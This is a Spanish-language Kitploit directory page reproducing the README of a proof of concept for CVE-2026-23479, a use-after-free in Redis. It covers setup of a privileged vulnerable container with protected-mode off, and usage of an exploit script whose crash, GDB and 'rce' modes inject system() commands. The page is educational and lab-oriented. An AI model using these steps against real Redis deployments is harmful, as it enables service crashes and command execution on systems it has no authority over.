Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Prueba de concepto con explotación asistida por GDB (solo uso educativo / de laboratorio) | Kitploit
Herramientas/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Análisis de VulnerabilidadesExplotaciónDepuradoresAprendizaje y EducaciónSeguridad de Bases de DatosExplotación de BinariosLabs y Práctica
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Prueba de concepto con explotación asistida por GDB (solo uso educativo / de laboratorio)

Ver Repositorio
51hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🔥 CVE-2026-23479 – Prueba de Concepto de UAF en Redis

License Python Docker CVE PoC

Use-After-Free en Redis unblockClientOnKey() que conduce a Ejecución Remota de Código
Prueba de concepto con explotación asistida por GDB (solo para uso educativo / de laboratorio)


📖 Descripción General

CVE-2026-23479 es una vulnerabilidad crítica de Use‑After‑Free (UAF) en las versiones de Redis 7.2.0 hasta la 8.6.2.
El fallo reside en unblockClientOnKey() que llama a processCommandAndResetClient() sin verificar su valor de retorno.
Si el cliente es liberado durante esa llamada (por ejemplo, debido a una expulsión), el llamador continúa operando sobre un puntero colgante → UAF.
Un atacante que pueda manipular el heap después de la liberación podría lograr ejecución de código arbitrario.

Este repositorio proporciona una PoC asistida por GDB que:

  • Desencadena la ruta de código vulnerable exacta
  • Demuestra el UAF al provocar deliberadamente un fallo (llamada a freeClient())
  • Demuestra ejecución de comandos arbitrarios inyectando una llamada a system() en el mismo punto

⚠️ Importante: Esto no es un exploit armado. Utiliza GDB dentro de un contenedor Docker privilegiado para simular lo que un atacante real podría lograr tras explotar con éxito la vulnerabilidad. Úsalo solo en tu propio laboratorio o en sistemas para los que tengas permiso explícito de prueba.

🎥 Vídeo de la PoC

https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea


✨ Características

  • 🧪 Cuatro modos de operación – crash, gdb, rce, full
  • 🐳 Basado en Docker – no es necesario instalar un Redis vulnerable en el host
  • 🔍 Detección automática de versión – comprueba si el objetivo está en el rango afectado
  • 🧹 Auto‑limpieza – elimina sesiones GDB obsoletas antes de cada ejecución
  • 🎯 Nombre de contenedor flexible – pasa cualquier contenedor mediante --container
  • 📦 Un único archivo Python – cero dependencias más allá de la biblioteca estándar

🧠 Cómo Funciona

  1. Bloquear una víctima – Un comando XREAD BLOCK hace que el cliente espere datos del stream.
  2. Adjuntar GDB – GDB se adjunta al proceso de Redis (pid 1) dentro del contenedor.
  3. Establecer un punto de interrupción en processCommandAndResetClient – la función llamada cuando el cliente bloqueado es reprocesado.
  4. Desencadenar el desbloqueo – Un XADD en el mismo stream despierta a la víctima.
  5. Al alcanzar el punto de interrupción:
    • Modo gdb: llama a freeClient($rdi) → provoca deliberadamente un SIGSEGV → demuestra el UAF.
    • Modo rce: llama a system("tu comando") → ejecuta comandos de shell arbitrarios como el usuario de Redis (root por defecto).
  6. Verificar – el script comprueba si existe el archivo de prueba esperado (RCE) o si Redis se ha caído (UAF).

El punto de interrupción se activa cada vez que un cliente bloqueado es desbloqueado, mostrando que la misma ruta de código que contiene el UAF también permite la ejecución de código.


📋 Versiones Afectadas

RamaRango Vulnerable
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

El script analiza automáticamente la versión de Redis e informa si es vulnerable.


🐳 Requisitos Previos

  • Docker instalado y en ejecución
  • Python 3.8+ (solo se usa la biblioteca estándar)
  • Una imagen Docker de Redis 8.6.2 que use apt (por ejemplo, la oficial redis:8.6.2)
  • El contenedor debe crearse con --privileged (necesario para ptrace)

⚙️ Configuración

1. Clonar el repositorio

git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Iniciar un contenedor Redis vulnerable

docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Instalar GDB dentro del contenedor

docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verificar

docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Uso

python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modos

ModoDescripción
crashIntenta desencadenar el UAF mediante presión de memoria (no requiere GDB). Redis puede caerse, pero no está garantizado.
gdbAdjunta GDB y llama a freeClient() en el punto de interrupción → fuerza un SIGSEGV (demuestra el UAF).
rceAdjunta GDB y llama a system(cmd) en el punto de interrupción → ejecuta un comando de shell dentro del contenedor.
fullEjecuta crash primero; si Redis no se cae, recurre a gdb.

Opciones

ArgumentoPredeterminadoDescripción
target(obligatorio)Dirección IP del servidor Redis
-p, --port6379Puerto de Redis
-m, --modefullUno de crash, gdb, rce, full
--containerenv-redis-vuln-1Nombre del contenedor Docker
--cmdid > /tmp/pwned_by_cveComando a ejecutar en modo rce

📚 Ejemplos Paso a Paso

Nota: Todos los comandos se ejecutan desde la máquina host, no dentro del contenedor Docker.

1. Demostrar el UAF mediante GDB

python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Salida Esperada (extracto)

[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis se caerá tras el fallo de segmentación.

Reiniciar el contenedor:

docker start redis-vuln-local

2. Lograr Ejecución Remota de Código (RCE)

Reiniciar Redis para asegurar un estado limpio:

docker restart redis-vuln-local

Ejecutar el exploit:

python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Verificar el archivo de prueba:

docker exec redis-vuln-local ls -l /tmp/pwned

Si tiene éxito, el archivo existirá, demostrando que:

system("touch /tmp/pwned");

se ejecutó dentro del contenedor Redis.


3. Desencadenar el UAF Sin GDB (Presión de Memoria)

python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Si Redis sale inesperadamente (el contenedor ya no está en ejecución), es probable que se haya desencadenado el UAF.

Reiniciarlo con:

docker start redis-vuln-local

4. Ejecutar la Prueba Completa

python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Este modo:

  1. Intenta el fallo por presión de memoria.
  2. Recurre al método asistido por GDB si Redis sobrevive.

📸 Salida de Ejemplo (Modo RCE)

============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned
Descargar herramienta